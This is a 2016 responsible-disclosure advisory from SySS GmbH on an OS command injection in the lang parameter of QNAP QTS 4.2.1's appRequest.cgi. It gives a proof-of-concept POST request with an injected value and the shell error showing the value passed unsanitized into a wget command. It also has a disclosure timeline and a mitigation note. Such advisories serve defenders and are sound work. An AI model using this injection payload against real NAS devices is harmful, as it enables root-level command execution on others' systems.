QNAP QTS 4.2.1 Build 20160601 Lang Parameter Command Injection
Posted on 19 August 2016
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2016-054 Product: QNAP QTS Manufacturer: QNAP Affected Version(s): 4.2.1 Build 20160601 Tested Version(s): 4.2.1 Build 20160601 - 4.2.2 Build 20160812 Vulnerability Type: OS Command Injection (CWE-78) Risk Level: High Solution Status: unfixed Manufacturer Notification: 2016-06-07 Solution Date: tbd. Public Disclosure: 2016-08-18 CVE Reference: Not assigned Author of Advisory: Sebastian Nerz (SySS GmbH) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: QTS is the operating system used by manufacturer QNAP on its series of NAS devices[1]. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The SySS GmbH found an os command injection in the appRequest plugin of the current QTS administrative interface. This type of vulnerability allows an attacker to run arbitrary commands on the operating system of the host as root. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): 1. Log in to the QNAP. The user needs no special privileges. 2. Run a request like the following: == POST /cgi-bin/application/appRequest.cgi?&action=getRemoteRSS HTTP/1.1 Host: 192.168.42.201:8080 Content-Length: 39 lang=geryyy><&subfunc=qpkg&sid=[validSid] == 3. The lang-Parameter will be placed inside of a wget-command without encoding or sanitizing the string. It will be shortened to only 8 characters lengths, making exploiting difficult. Still e.g. overwriting critical data would be easy. The above requests displays an error message in the header, similar to the following: HTTP/1.1 200 OK Date: Tue, 07 Jun 2016 05:57:57 GMT sh: -c: line 0: syntax error near unexpected token `<' sh: -c: line 0: `/usr/bin/wget -t 1 -T 30 -q http://download.qnap.com/Liveupdate/QTS4.2.1/qpkgcenter_geryyy><hPThy<}hPSa .xml -O /home/httpd/RSS/rssdoc/qpkgcenter_geryyy><hPThy<}hPSa .xml.tmp 1>>/dev/null 2>>/dev/null' Content-type: text/xml Content-Length: 4587 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: The manufacturer has not released any security update or patch so far. Administrators of QNAP QTS 4.2 installations should ensure that only trusted users/administrators have access to the device. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2016-06-07: Vulnerability discovered and reported to manufacturer 2016-06-20: Vulnerability report confirmed by manufacturer 2016-07-06: Manufacturer asked for timeline regarding a fix 2016-07-18: Manufacturer reminded about upcoming public disclosure 2016-08-18: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for QNAP QTS http://www.qnap.com/qts/4.2/en/ [2] SySS Security Advisory SYSS-2016-054 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-054.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: Security vulnerability found by Sebastian Nerz of the SySS GmbH. E-Mail: sebastian.nerz@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Sebastian_Nerz.asc Key ID: 0x9180FDB2 Key Fingerprint: 79DC 2CEC D18D F92F CBB4 AF09 D12D 26A4 9180 FDB2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAEBCgAGBQJXtWVoAAoJENEtJqSRgP2ydA0H/jHyaW0S//do0y13oEWH1n8O QAwTKnWY5SiPOZ6CdEFh+W7VsuZsh5QupIHFm/mYRPZ3gfBmFc/Pk9f/qQFCoHmc 6whFVm/E8WbwasHUo4uLEiFwFOsCSG2j+45+DqF5YIWXQZm/Fk7q+AlSEqQo169+ kvXoZpGD81JAq0TwzpbKFExwip+zxlSdkjffwXoJcNijD1DXIRjx1j5qML9P5W/h UJVCkAiAoICJf8Cei6jrIDN/LjvHHWtw2R7AFw0Eic3CQjkdWFqAHOEV6s7CNQjD Rrr3za7BPN6CUe098BDbnXhmIFu4T2ZbJ+88jPMXHUv5NcvZ7SwSIE++uYQ0FmI= =LzeJ -----END PGP SIGNATURE-----
